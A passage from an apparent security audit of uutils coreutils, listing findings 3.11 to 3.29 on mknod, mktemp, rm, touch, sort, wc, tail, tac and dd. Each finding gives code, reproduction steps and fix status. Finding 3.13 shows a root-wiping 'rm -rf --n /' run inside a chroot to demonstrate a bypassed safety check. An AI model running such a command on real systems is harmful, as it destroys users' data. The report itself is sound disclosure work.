        .value_name(options::MAJOR)
        .help(translate!("mknod-help-major"))
        .value_parser(value_parser!(u64)),
)
```

```
(_, Some(&major), Some(&minor)) => makedev(major, minor),
```

The `makedev` function performs bit manipulation that causes silent overflow.

```
fn makedev(maj: u64, min: u64) -> dev_t {
    ((min & 0xff) | ((maj & 0xfff) << 8) | ((min & !0xff) << 12) | ((maj &
    !0xfff) << 32)) as dev_t
}
```

When `maj = 4294967296` (0x100000000), the following happens.

- `maj & 0xfff = 0` (lower 12 bits are 0)
- `maj & !0xfff = 0x100000000`, and `<< 32` causes overflow

This results in a corrupted device number being created without any error message.

Here are the reproduction steps.

```
# GNU mknod rejects out-of-range major number
$ mknod lg32 c 4294967296 1
mknod: invalid major device number '4294967296'

# uutils mknod accepts it and creates device with wrong major number (overflow)
$ sudo strace coreutils mknod lg32 c 4294967296 1
mknodat(AT_FDCWD, "lg32", S_IFCHR|0666, makedev(0x2, 0x1)) = 0
```

Impact

Silently accepting out-of-range device numbers causes creation of devices with incorrect major/minor values, which can lead to potential system instability.

Recommendations

Add range validation after parsing major/minor values.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10196. They intend to merge these changes into the production branch.

3.11. mktemp: When TMPDIR is an empty string, mktemp does not fall back to /tmp

Target	mktemp		
Category	Coding Mistakes	Severity	Medium
Likelihood	Medium	Impact	Medium

Description

GNU mktemp treats an empty TMPDIR environment variable as if it were unset, falling back to /tmp. When TMPDIR="", GNU mktemp ignores the empty value and uses the default temporary directory.

In GNU mktemp ↗, the empty-string check is explicit.

```
char *env = getenv ("TMPDIR");
if (env && *env)
    dest_dir = env;
else if (dest_dir_arg && *dest_dir_arg)
    dest_dir = dest_dir_arg;
else
    dest_dir = "/tmp";
```

```
char *env = getenv ("TMPDIR");
dest_dir = (env && *env ? env : "/tmp");
```

The *env dereference checks whether the first character is the null terminator, effectively rejecting empty strings.

However, in uutils mktemp ↗, env::var(TMPDIR_ENV_VAR).is_ok() returns true for empty strings because Rust's env::var considers an empty value as valid.

```
None => env::var(TMPDIR_ENV_VAR)
    .ok()
    .map_or_else(env::temp_dir, PathBuf::from),
```

```
let tmpdir = if env::var(TMPDIR_ENV_VAR).is_ok() && matches.get_flag(OPT_T) {
    env::var_os(TMPDIR_ENV_VAR).map(|t| t.into())
```

When TMPDIR="", uutils mktemp uses the empty string as the directory path, resulting in the temporary file being created in the current working directory instead of /tmp.

Here are the reproduction steps.

```
# GNU mktemp falls back to /tmp when TMPDIR is empty
$ TMPDIR="" mktemp
/tmp/tmp.2oVWcA4ZYR

# uutils mktemp creates file in current directory
$ TMPDIR="" ./coreutils mktemp
tmp.xT2ZOB3rxH
$ ls tmp.xT2ZOB3rxH
tmp.xT2ZOB3rxH
```

Impact

Scripts relying on `TMPDIR=""` to trigger default behavior will create files in unexpected locations.

Recommendations

Add a check to treat empty `TMPDIR` values the same as if they were unset, falling back to `/tmp` or `env::temp_dir()`.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10566 ↗. They intend to merge these changes into the production branch. However, with `-t` option that uses `TMPDIR`, the issue still remains.

3.12. mktemp: Consecutive Xs at template end are not validated

Target	mktemp		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

GNU mktemp requires that the template ends with at least three consecutive X characters. The validation counts Xs from the end of the template before any suffix and rejects templates where the trailing X block is too short.

In GNU mktemp ↗, the X counting starts from the end of the string.

```
static size_t
count_consecutive_X_s (char const *s, size_t len)
{
  size_t n = 0;
  for ( ; len && s[len - 1] == 'X'; len--)
    ++n;
  return n;
}
```

For "XXX_XX", this counts backwards from the end; the last two characters are "XX", so `n = 2`. Since 2 < 3, the template is rejected.

However, in uutils mktemp ↗, the function searches for the last occurrence of the pattern "XXX" anywhere in the string.

```
fn find_last_contiguous_block_of_xs(s: &str) -> Option<(usize, usize)> {
    let j = s.rfind("XXX")? + 3;
    let i = s[..j].rfind(|c| c != 'X').map_or(0, |i| i + 1);
    Some((i, j))
}
```

For "XXX_XX", `rfind("XXX")` finds the first "XXX" at index 0, so the template is accepted. The trailing "XX" is treated as a literal suffix, not as part of the random character block.

Here are the reproduction steps.

```
# GNU mktemp rejects template with insufficient trailing X's
$ mktemp XXX_XX
mktemp: too few X's in template 'XXX_XX'

# uutils mktemp accepts it, using the first XXX block
$ ./coreutils mktemp XXX_XX
59t_XX
```

Impact

Templates with nontrailing X blocks are accepted, which causes unexpected file-naming behavior that differs from GNU coreutils.

Recommendations

Change X validation to count consecutive Xs from the template end to match GNU behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10224. They intend to merge these changes into the production branch.

3.13. rm: Dangerous abbreviation of `--no-preserve-root` option is allowed

Target	rm		
Category	Soundness	**Severity**	Critical
Likelihood	Medium	**Impact**	Critical

Description

GNU `rm` explicitly rejects any abbreviation of the `--no-preserve-root` option as a safety measure to prevent accidental deletion of the root file system. However, uutils `rm` accepts abbreviated forms like `--n`, `--no`, `--no-p`, and so on, which can lead to data loss.

In GNU rm ↗, there is a specific check that prevents users from abbreviating the `--no-preserve-root` option.

```
case NO_PRESERVE_ROOT:
    if (! streq (argv[optind - 1], "--no-preserve-root"))
    error (EXIT_FAILURE, 0,
            _("you may not abbreviate the --no-preserve-root option"));
    preserve_root = false;
```

This safety check ensures that users must type the complete `--no-preserve-root` option.

However, uutils `rm` does not implement this safety check. The clap argument parser accepts any unambiguous prefix of `--no-preserve-root`, so `--n` or `--no` bypasses root protection.

Here are the reproduction steps.

```
# GNU
$ rm --no-preserve
rm: you may not abbreviate the --no-preserve-root option

# uutils
$ target/release/coreutils rm --no
rm: missing operand
Try 'target/release/coreutils rm --help' for more information.
```

Here is a dangerous scenario in the file system.

```
# Setup test environment
$ mkdir /tmp/dir && cd /tmp/dir
```

```
$ cp /uutils/uutils/target/release/coreutils .
$ cp -R /usr/lib /usr/lib64 .

# Run rm with abbreviated option - THIS DELETES EVERYTHING
$ sudo chroot $PWD ./coreutils rm -rf --n /
rm: cannot remove '/': Device or resource busy

# The coreutils binary itself was deleted
$ ls coreutils
ls: cannot access 'coreutils': No such file or directory
```

Impact

Accepting abbreviated `--no-preserve-root` options can lead to accidental deletion of the entire root file system, causing data loss. This breaks compatibility with GNU coreutils safety features.

Recommendations

Add an explicit check to reject abbreviations of the `--no-preserve-root` option, similar to GNU rm.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10205 ↗. They intend to merge these changes into the production branch.

3.14. touch: Failure with an error on special files like `/dev/null`

Target	touch		
Category	Soundness	Severity	Low
Likelihood	Low	Impact	Low

Description

GNU touch successfully updates timestamps on special files like `/dev/null`, while uutils touch fails with a `Permission denied` error.

Here are the system call traces for GNU touch and uutils touch.

```
// GNU
openat(AT_FDCWD, "/dev/null", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0666) = 3
dup2(3, 0)                                  = 0
close(3)                                    = 0
utimensat(0, NULL, NULL, 0)                 = 0
close(0)                                    = 0

// uutils
utimensat(AT_FDCWD, "/dev/null", [{tv_sec=..., tv_nsec=...}, {tv_sec=...,
    tv_nsec=...}], 0) = -1 EPERM
```

The key difference is in the `times` argument of `utimensat`. GNU touch passes `NULL` while uutils touch passes explicit timestamps. According to POSIX, when `times` is `NULL`, the system only requires write permission. When explicit times are provided, the caller must own the file or have appropriate privileges.

GNU touch ↗ achieves this by passing `t = nullptr` when setting the current time.

```
if (amtime_now)
  {
    /* Pass nullptr to futimens so it will not fail if we have
       write access to the file, but don't own it.  */
    t = nullptr;
  }
```

However, uutils touch always calculates and passes explicit timestamps.

```
Source::Now => {
    let now = datetime_to_filetime(&Local::now());
    (now, now)
}
```

Since `/dev/null` is owned by root but writable by everyone, GNU touch succeeds while uutils touch fails with `EPERM`.

Here are the reproduction steps.

```
# GNU touch succeeds on /dev/null
$ touch /dev/null
$

# uutils touch fails with Permission denied
$ ./coreutils touch /dev/null
touch: setting times of '/dev/null': Permission denied
```

Impact

This breaks compatibility with scripts and workflows that touch special device files like `/dev/null`.

Recommendations

Pass `times = NULL` to `utimensat` when setting current time. See filetime crate PR #105 ↗ for a filetime crate implementation approach.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9870 ↗. They intend to merge these changes into the production branch.

3.15. touch: Incorrect months-ago calculation with `-d` options

Target	touch		
Category	Soundness	**Severity**	Medium
Likelihood	High	**Impact**	Low

Description

When using `touch -d "X months ago"`, uutils touch calculates the date differently from GNU coreutils, resulting in a one-day discrepancy.

Here are the reproduction steps.

```
$ touch -d "2025-12-30" /tmp/date
$ touch -r /tmp/date -d "1 month ago" /tmp/t; stat t
# ...
Access: 2025-11-30 00:00:00.000000000 +0000
Modify: 2025-11-30 00:00:00.000000000 +0000

$ coreutils touch -r /tmp/date -d "1 month ago" /tmp/tt; stat tt
# ...
Access: 2025-11-29 00:00:00.000000000 +0000
Modify: 2025-11-29 00:00:00.000000000 +0000
```

Impact

Files may be modified with unintended dates, breaking compatibility with GNU coreutils.

Recommendations

Fix the relative month calculation algorithm to match GNU's implementation using proper calendar month arithmetic.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #253 ↗. They intend to merge these changes into the production branch.

3.16. tac: Incompatibility in `-r` regex flavor

Target	File content manipulation		
Category	Completeness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

`Regex::new(separator)` is not compatible with \l.

See an example in the GNU documentation ↗:

```
let maybe_pattern = if regex {
    match regex::bytes::Regex::new(separator) {
        Ok(p) => Some(p),
        Err(e) => return Err(TacError::InvalidRegex(e).into()),
    }
} else {
    None
};
```

This will lead to completely different results from the GNU C version. We created a proof of concept:

```
core_sbx$ echo abc > t
core_sbx$ tac -r -s 'x\|[^x]' t

cbacore_sbx$ ../target/release/tac -r -s 'x\|[^x]' t
abc
```

Impact

Scripts relying on GNU coreutils documentation and examples will get an incorrect output without an error.

Recommendations

Use a regex library that supports the same syntax as GNU coreutils, or implement custom parsing to handle GNU-specific regex constructs.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit d2db8727 ↗.

3.17. wc: In C/POSIX locale, `-m` returns character count instead of byte count

Target	wc		
Category	Soundness	Severity	Low
Likelihood	Medium	Impact	Low

Description

GNU wc ↗ checks `MB_CUR_MAX` to determine whether to count bytes or multibyte characters. When `MB_CUR_MAX == 1` (C/POSIX locale), it treats each byte as a character.

```
static bool
wc (int fd, char const *file_x, struct fstatus *fstatus)
{
  // [...]
  /* If in the current locale, chars are equivalent to bytes, we prefer
     counting bytes, because that's easier.  */
  if (MB_CUR_MAX > 1)
    {
      count_bytes = print_bytes;
      count_chars = print_chars;
    }
  else
    {
      count_bytes = print_bytes || print_chars;
      count_chars = false;
    }
```

However, uutils wc ↗ ignores locale and always counts UTF-8 characters using `bytecount::num_chars()`.

```
pub(crate) fn count_bytes_chars_and_lines_fast<
// [...]
>(
    handle: &mut R,
) -> (WordCount, Option<io::Error>) {
    let mut total = WordCount::default();
    let buf: &mut [u8] = &mut AlignedBuffer::default().data;
    loop {
        match handle.read(buf) {
            Ok(0) => return (total, None),
```

```
            Ok(n) => {
                if COUNT_BYTES {
                    total.bytes += n;
                }
                if COUNT_CHARS {
                    total.chars += bytecount::num_chars(&buf[..n]);
                }
                if COUNT_LINES {
                    total.lines += bytecount::count(&buf[..n], b'\n');
                }
            }
            Err(ref e) if e.kind() == ErrorKind::Interrupted => (),
            Err(e) => return (total, Some(e)),
        }
    }
}
```

Here are the reproduction steps.

```
$ echo -n "éé"|LC_ALL=C wc -m
4
$ echo -n "éé"|LC_ALL=C coreutils wc -m
2
```

Impact

In C/POSIX locale environments, `wc -m` produces different output than GNU, breaking compatibility for scripts and CI pipelines that rely on locale-dependent character counting.

Recommendations

Check `MB_CUR_MAX` (or equivalent locale detection in Rust) before counting characters. If `MB_CUR_MAX == 1`, return the byte count instead of UTF-8 character count to match GNU behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #11006 ↗. They intend to merge these changes into the production branch. However, the issue is not yet fully resolved in the PR.

3.18. sort: Locale-based collation is not supported

Target	sort		
Category	Completeness	**Severity**	Medium
Likelihood	High	**Impact**	Medium

Description

GNU sort uses locale-based string comparison (collation) when the `LC_COLLATE` environment variable is set to a non-C locale. This affects the default alphabetical ordering of strings.

In GNU sort ↗, the program checks if the locale is hard.

```
hard_LC_COLLATE = hard_locale (LC_COLLATE);
```

When `hard_LC_COLLATE` is true, GNU sort uses the `xmemcoll0` function for string comparison at line 2958 ↗.

```
else if (hard_LC_COLLATE)
  {
    /* xmemcoll0 is a performance enhancement as
       it will not unconditionally write '\0' after the
       passed in buffers, which was seen to give around
       a 3% increase in performance for short lines.  */
    diff = xmemcoll0 (a->text, alen + 1, b->text, blen + 1);
  }
else
  {
    diff = memcmp (a->text, b->text, MIN (alen, blen));
    if (!diff)
      diff = _GL_CMP (alen, blen);
  }
```

The `xmemcoll0` function internally uses `strcoll()`, which respects the locale's collation rules. In the `en_US.UTF-8` locale, lowercase and uppercase letters are interleaved (a, A, b, B, ...).

However, in uutils sort ↗, the default comparison always uses byte-wise comparison.

```
pub fn custom_str_cmp(
    a: &[u8],
    b: &[u8],
```

```
    ignore_non_printing: bool,
    ignore_non_dictionary: bool,
    ignore_case: bool,
) -> Ordering {
    if !(ignore_case || ignore_non_dictionary || ignore_non_printing) {
        // There are no custom settings. Fall back to the default strcmp,
    which is faster.
        return a.cmp(b);  // Byte comparison, ignores locale
    }
    ...
}
```

The `a.cmp(b)` performs a simple byte comparison (equivalent to `memcmp`), which always follows ASCII order regardless of the locale setting.

Here are the reproduction steps.

```
# GNU sort (en_US.UTF-8 locale)
$ printf 'a\nA\nb\nB\n' | LC_ALL=en_US.UTF-8 sort
a
A
b
B

# uutils sort (en_US.UTF-8 locale)
$ printf 'a\nA\nb\nB\n' | LC_ALL=en_US.UTF-8 coreutils sort
A
B
a
b

# Both should be identical in C locale
$ printf 'a\nA\nb\nB\n' | LC_ALL=C sort
A
B
a
b

$ printf 'a\nA\nb\nB\n' | LC_ALL=C coreutils sort
A
B
a
b
```

Impact

The sorting output differs from GNU sort when using non-C locales (e.g., `en_US.UTF-8`).

Recommendations

Implement locale-based collation using `strcoll()` via FFI or a Unicode collation library.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10481. They intend to merge these changes into the production branch.

3.19. wc: Incorrect POSIXLY_CORRECT whitespace rules

Target	File content manipulation		
Category	Completeness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The current uutils `wc` implementation ignores `POSIXLY_CORRECT`, and word boundary detection is driven by `char::is_whitespace()`. There is no `POSIXLY_CORRECT` check in the counting loop, as shown in the code below.

```
if SHOW_WORDS {
    if ch.is_whitespace() {
        *in_word = false;
    } else if !(*in_word) {
        // This also counts control characters! (As of GNU coreutils 9.5)
        *in_word = true;
        total.words += 1;
    }
}
```

We created a proof of concept to demonstrate the issue:

```
#!/bin/bash
echo "GNU: "
echo "without POSIXLY_CORRECT: "
printf 'a\xc2\xa0b\n' | wc -w
echo "with POSIXLY_CORRECT:"
printf 'a\xc2\xa0b\n' | POSIXLY_CORRECT=1 wc -w
echo "uutils: "
echo "without POSIXLY_CORRECT: "
printf 'a\xc2\xa0b\n' | ./target/release/wc -w
echo "with POSIXLY_CORRECT: "
printf 'a\xc2\xa0b\n' | POSIXLY_CORRECT=1 ./target/release/wc -w
```

The output of the script will be as follows:

```
GNU:
without POSIXLY_CORRECT:
```

```
2
with POSIXLY_CORRECT:
1
uutils:
without POSIXLY_CORRECT:
2
with POSIXLY_CORRECT:
2
```

Impact

Scripts that assume GNU `wc` semantics, including `POSIXLY_CORRECT` behavior, may see different `-w` results and/or no behavioral change when toggling `POSIXLY_CORRECT`.

Recommendations

Implement `POSIXLY_CORRECT` handling in the word counting logic.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `a74f72f3` ↗.

3.20. sort: Numeric sort (-n) incorrectly parses + as a number sign

Target	sort		
Category	Completeness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When using numeric sort (-n), uutils incorrectly recognizes the + sign as part of a number. This causes +1, +2, and +10 to be sorted numerically instead of lexicographically.

In uutils sort, the numeric comparison uses `f64::parse()`.

```
if settings.mode == SortMode::Numeric {
    // ...
    line_num_float = s.parse::<f64>().ok()
    // ...
}
```

Rust's `parse::<f64>()` accepts both + and - as valid number signs, so +1 is parsed as `1.0` and sorted numerically.

However, according to the GNU sort documentation,

> Neither a leading + nor exponential notation is recognized. To compare such strings numerically, use the `--general-numeric-sort (-g)` option.

In GNU sort, only - is defined as a negation sign:

```
#define NEGATION_SIGN   '-'
```

The `numcompare` function only checks for `NEGATION_SIGN` when parsing numeric strings, so +1 is treated as a nonnumeric string and sorted lexicographically.

Here are the reproduction steps.

```
# GNU sort - lexicographical order ('+' not recognized as number)
$ printf '+1\n+10\n+2\n' | sort -n
+1
+10
```

```
+2

# uutils sort - numerical order ('+' incorrectly recognized)
$ printf '+1\n+10\n+2\n' | coreutils sort -n
+1
+2
+10
```

Impact

Numeric sort output differs from GNU sort when the input contains numbers with leading + signs.

Recommendations

Modify `NumInfo::parse` to not recognize + as a valid sign character for `-n` mode, matching GNU behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10356 ↗. They intend to merge these changes into the production branch. However, the issue is not yet fully resolved in the PR.

3.21. wc: Word undercount when input contains invalid byte sequences

Target	File content manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

When the UTF-8 decoder encounters an invalid byte sequence, the implementation adds `bytes.len()` to `total.bytes` and performs no updates to `in_word` or `total.words`.

```
fn handle_error(error: BufReadDecoderError<'_>, total: &mut WordCount) ->
    Option<io::Error> {
    match error {
        BufReadDecoderError::InvalidByteSequence(bytes) => {
            total.bytes += bytes.len();
        }
        BufReadDecoderError::Io(e) => return Some(e),
    }
    None
}
```

We created a proof of concept to demonstrate the issue:

```
printf 'a \xff b\n' | LC_ALL=en_US.UTF-8 wc
      1       3       6
printf 'a \xff b\n' | LC_ALL=en_US.UTF-8 ./target/release/wc
      1       2       6
```

The output of the script will be as follows:

```
1       3       6
1       2       6
```

Impact

Scripts that compare outputs against GNU `wc` or rely on GNU semantics for word in the presence of encoding errors can break or silently miscompute.

Recommendations

Update the error handling logic to correctly identify word boundaries even when invalid byte sequences are encountered.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit f388214d ↗.

3.22. cut: Incorrect delimiter handling when delimiter is newline

Target	File content manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Low	**Impact**	Low

Description

The function `cut_fields()`

```
Delimiter::Slice(delim) if delim == [newline_char] => {
    let out_delim = opts.out_delimiter.unwrap_or(delim);
    cut_fields_newline_char_delim(reader, out, ranges, newline_char,
    out_delim)
}
```

will call `cut_fields_newline_char_delim()`. However, this function does not check `opt.only_delimited`; it prints out the input and appends a newline character.

Impact

All scripts that rely on the `-s` option may have unexpected behavior.

Recommendations

Check `opt.only_delimited` in `cut_fields_newline_char_delim()`.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 9bbb58b7 ↗.

3.23. sort: Numeric sort (-n) does not recognize thousand separators

Target	sort		
Category	Completeness	**Severity**	Medium
Likelihood	High	**Impact**	Medium

Description

GNU sort uses the locale's thousand separator when parsing numbers in numeric sort mode (`-n`). It retrieves the separator from `localeconv()` and passes it to the number-comparison function.

In GNU sort, the thousand separator is obtained from the locale.

```
struct lconv const *locale = localeconv ();
...
thousands_sep = locale->thousands_sep[0];
```

This separator is then used in numeric comparison in `numcompare`.

```
return strnumcmp (a, b, decimal_point, thousands_sep);
```

However, in uutils sort, the `NumInfoParseSettings` struct has a `thousands_separator` field, but it defaults to `None`.

```
impl Default for NumInfoParseSettings {
    fn default() -> Self {
        Self {
            accept_si_units: false,
            thousands_separator: None,
            decimal_pt: Some(b'.'),
        }
    }
}
```

When parsing numbers for numeric sort at lines 898–903, the default settings are used without setting the thousand separator from locale.

```
let (info, num_range) = NumInfo::parse(
    range_str,
```

```
    &NumInfoParseSettings {
        accept_si_units: self.settings.mode == SortMode::HumanNumeric,
        ..Default::default()
    },
);
```

As a result, "1,000" is parsed as "1" because the comma terminates number parsing.

Here are the reproduction steps.

```
# GNU
$ printf '1,000\n500\n2,000\n100\n' | sort -n
100
500
1,000
2,000

# uutils
$ printf '1,000\n500\n2,000\n100\n' | coreutils sort -n
1,000
2,000
100
500
```

Impact

Numbers with thousand separators are incorrectly parsed and causes an incorrect sort order.

Recommendations

Retrieve the locale's thousand separator and pass it to `NumInfoParseSettings`.

Remediation

This issue has been acknowledged by Canonical. A fix was implemented in PR #10339 and further PRs.

3.24. join: Locale collation should be considered

Target	File content manipulation		
Category	Completeness	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

GNU `join` states that comparisons should check `LC_COLLATE`. The Rust implementation completely ignores locale collation, as shown in the code:

```
fn compare(&self, field1: Option<&[u8]>, field2: Option<&[u8]>) -> Ordering {
    if let (Some(field1), Some(field2)) = (field1, field2) {
        if self.ignore_case {
            let field1 = CaseInsensitiveSlice { v: field1 };
            let field2 = CaseInsensitiveSlice { v: field2 };
            field1.cmp(&field2)
        } else {
            field1.cmp(field2)
        }
    } else {
        match field1 {
            Some(_) => Ordering::Greater,
            None => match field2 {
                Some(_) => Ordering::Less,
                None => Ordering::Equal,
            },
        }
    }
}
```

Impact

This may lead to false `not sorted` diagnostics and/or divergent output when inputs are sorted under a locale aware collation.

Recommendations

Check locale collation settings and implement locale-aware comparisons in the `compare` function.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 98d3dbad ↗.

3.25. sort: Scientific notation with sign is incorrectly parsed in general numeric sort

Target	sort		
Category	Soundness	**Severity**	Medium
Likelihood	High	**Impact**	Medium

Description

GNU sort correctly parses scientific notation like "1e-5" (which equals 0.00001) in general numeric sort mode (`-g`). It uses the C standard library function `strtold`, which handles scientific notation properly.

In GNU sort ↗, `strtold` is used to parse general numeric values.

```
static int
general_numcompare (char const *sa, char const *sb)
{
  char *ea;
  char *eb;
  long double a = strtold (sa, &ea);
  long double b = strtold (sb, &eb);
  ...
}
```

However, in uutils sort ↗, there is an off-by-one error in `get_leading_gen` when checking for a digit after the exponent sign.

```
if let Some(&(_, &next_char)) = char_indices.peek() {
    if (next_char == b'+' || next_char == b'-')
        && matches!(
            char_indices.peek_nth(2), // should be peek_nth(1)
            Some((_, c)) if c.is_ascii_digit()
        )
    {
        // Consume the sign. The following digits will be consumed by the main
    loop.
        char_indices.next();
        had_e_notation = true;
        continue;
    }
```

```
    if next_char.is_ascii_digit() {
        had_e_notation = true;
        continue;
    }
}
```

For 1e-5, when processing "e", `peek()` (equivalent to `peek_nth(0)`) returns `-`. The code should use `peek_nth(1)` to check the next character, "5", but it incorrectly uses `peek_nth(2)`, which returns `None`. As a result, the exponent is not recognized and the number is parsed incorrectly.

Here are the reproduction steps.

```
# GNU
$ printf '1\n1e-5' | sort -g
1e-5
1

# uutils
$ printf '1\n1e-5' | coreutils sort -g
1
1e-5
```

Impact

Scientific notation with signed exponents is incorrectly parsed and causes an incorrect sort order for numeric data.

Recommendations

Change `peek_nth(2)` to `peek_nth(1)` to correctly check the digit after the exponent sign.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10437 ↗. They intend to merge these changes into the production branch.

3.26. tail: When requested bytes exceed file size, -c panics

Target	tail		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When using `tail -c` with a byte count larger than the file size, and the file is larger than 4,096 bytes (`blksize`), `tail` panics with the `Invalid argument` error instead of outputting the entire file content like GNU tail does.

The issue occurs in uutils tail ↗'s `bounded_tail()` function, which is called for files larger than `blksize_limit` (typically 4,096 bytes). When seeking to `SeekFrom::End(-count)` where `count` exceeds the file size, the seek operation fails because the resulting offset would be before the start of the file.

```
FilterMode::Bytes(Signum::Negative(count)) => {
    file.seek(SeekFrom::End(-(*count as i64))).unwrap();  // panics here
    limit = Some(*count);
}
```

The `unwrap()` call causes a panic when `lseek()` returns `EINVAL` because the negative offset exceeds the file size.

GNU tail ↗ handles this gracefully by checking the seek result and falling back to reading from the beginning of the file:

```
off_t e_n_pos = lseek (fd, minus_n, SEEK_END);
if (0 <= e_n_pos)
{
    current_pos = e_n_pos;
    end_pos = e_n_pos + n_bytes;
}
else
{
    /* POSIX says errno is unreliable here.
        Perhaps the file is smaller than N_BYTES.
        Try again at file end.  */
    off_t e_pos = lseek (fd, 0, SEEK_END);
    if (0 <= e_pos)
    current_pos = end_pos = e_pos;
```

```
}
```

Here are the reproduction steps.

```
$ python3 -c "print('x'*5000)" > /tmp/test_file.txt

$ tail -c 1M /tmp/test_file.txt | wc -c

$ coreutils tail -c 1M /tmp/test_file.txt
thread 'main' (1580010) panicked at src/uu/tail/src/tail.rs:427:56:
called `Result::unwrap()` on an `Err` value: Os { code: 22, kind:
    InvalidInput, message: "Invalid argument" }
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
```

Impact

Programs and scripts using `tail -c` with large byte counts on medium-sized files (> 4 KB) will crash unexpectedly.

Recommendations

Handle the seek error gracefully by falling back to file start when the requested offset exceeds file size.

```
FilterMode::Bytes(Signum::Negative(count)) => {
    if file.seek(SeekFrom::End(-(*count as i64))).is_err() {
        file.seek(SeekFrom::Start(0)).unwrap();
    }
    limit = Some(*count);
}
```

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10268 ↗. They intend to merge these changes into the production branch. However, the issue is not fully resolved in the PR. When the byte count is larger than `i64::MAX`, casting it to `i64` truncates and the value becomes negative, so the seek offset is wrong and the output no longer matches GNU tail. Additionally, falling back to `seek(Start(0))` on any failed backward seek hides the real failure reason, so users cannot distinguish "file shorter than N" from other seek errors.

3.27. uniq: -w counts UTF-8 characters instead of bytes

Target	uniq		
Category	Soundness	Severity	Low
Likelihood	Low	Impact	Low

Description

GNU uniq's `-w N` (check-chars) option compares the first N *bytes* of each line, while uutils uniq compares the first N *UTF-8 characters*. This causes different behavior when processing multibyte characters (e.g., CJK characters, emoji).

GNU uniq ↗ uses `mcel_scan` for multibyte character handling, but the comparison length is still determined by bytes in most locales. When `MB_CUR_MAX <= 1` (C/POSIX locale), it explicitly uses byte-based comparison.

```
idx_t len;
if (lim - lp <= check_chars)
    len = lim - lp;
else if (MB_CUR_MAX <= 1)
    len = check_chars;
else
    {
        char *ep = lp;
        for (idx_t i = check_chars; 0 < i && lp < lim; i--)
            ep += mcel_scan (lp, lim).len;
        len = ep - lp;
    }
```

However, uutils uniq ↗ always uses UTF-8 character-based comparison regardless of locale, using Rust's `.chars().take(N)` method.

```
let total_chars = string_after_skip.chars().count();

// `-w N` => Compare no more than N characters
let slice_stop = self.slice_stop.unwrap_or(total_chars);
let slice_start = slice_stop.min(total_chars);

let mut iter = string_after_skip.chars().take(slice_start);
```

Here are the reproduction steps.

```
$ locale
LANG=en_US.UTF-8
LANGUAGE=
LC_CTYPE="en_US.UTF-8"
LC_ALL=
$ printf "wördA\nwördB\n" > example.txt
# "wörd" = w(1) + ö(2) + r(1) + d(1) = 5 bytes, 4 characters

# -w 4
$ uniq -w 4 example.txt
wördA

$ coreutils uniq -w 4 example.txt
wördA

# -w 5
$ uniq -w 5 example.txt
wördA

$ coreutils uniq -w 5 example.txt
wördA
wördB

# -w 6
$ uniq -w 6 example.txt
wördA
wördB

$ coreutils uniq -w 6 example.txt
wördA
wördB
```

Impact

This may lead to incorrect duplicate detection. Lines may be wrongly merged (data loss) or wrongly kept separate (false duplicates) when processing multibyte text with -w.

Recommendations

Add locale detection to use character-based -w for UTF-8, byte-based for C/POSIX locale.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #11061. They intend to merge these changes into the production branch. However, the issue is not yet fully resolved in the PR. For example,

```
$ printf 'à\ná\n' | LC_ALL=en_US.UTF-8 uniq -w 1
à

$ printf 'à\ná\n' | LC_ALL=en_US.UTF-8 ./coreutils uniq -w 1
à
á
```

3.28. tac: Crash with SIGBUS when input file is truncated during read

Target	tac		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

The `tac` utility memory-maps inputs without a SIGBUS handler:

```
// tac/src/tac.rs:306-311
fn try_mmap_path(path: &Path) -> Option<Mmap> {
    let file = File::open(path).ok()?;

    // SAFETY: If the file is truncated while we map it, SIGBUS will be raised
    // and our process will be terminated, thus preventing access of invalid
    memory.
    let mmap = unsafe { Mmap::map(&file).ok()? }; // <-- No SIGBUS handler
    installed
```

The `SAFETY` comment accepts process termination as the handling strategy. If the mapped file is truncated, SIGBUS aborts the process. GNU `tac` avoids this by not memory-mapping untrusted inputs.

Here are the reproduction steps.

```
dd if=/dev/zero of=/tmp/tactest bs=1M count=10 2>/dev/null
(sleep 0.001; truncate -s 0 /tmp/tactest) &
tac /tmp/tactest
```

Impact

This may lead to a denial of service — log-rotation truncation can crash `tac` mid-read.

Recommendations

Use the read-based path for inputs that can change. If mmap stays, catch SIGBUS and return an I/O error.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9772. They intend to merge these changes into the production branch.

3.29. dd: Silent truncate error suppression causes undetected data corruption in backup scripts

Target	dd		
Category	Soundness	**Severity**	High
Likelihood	Medium	**Impact**	Medium

Description

The `BlockWriter::truncate` method in dd/src/dd.rs unconditionally discards truncation errors:

```
// dd/src/dd.rs:1031-1043
fn truncate(&mut self) {
    // Calling `set_len()` may result in an error (for example,
    // when calling it on `/dev/null`), but we don't want to
    // terminate the process when that happens. Instead, we
    // suppress the error by calling `Result::ok()`. This matches
    // the behavior of GNU `dd` when given the command-line
    // argument `of=/dev/null`.
    match self {
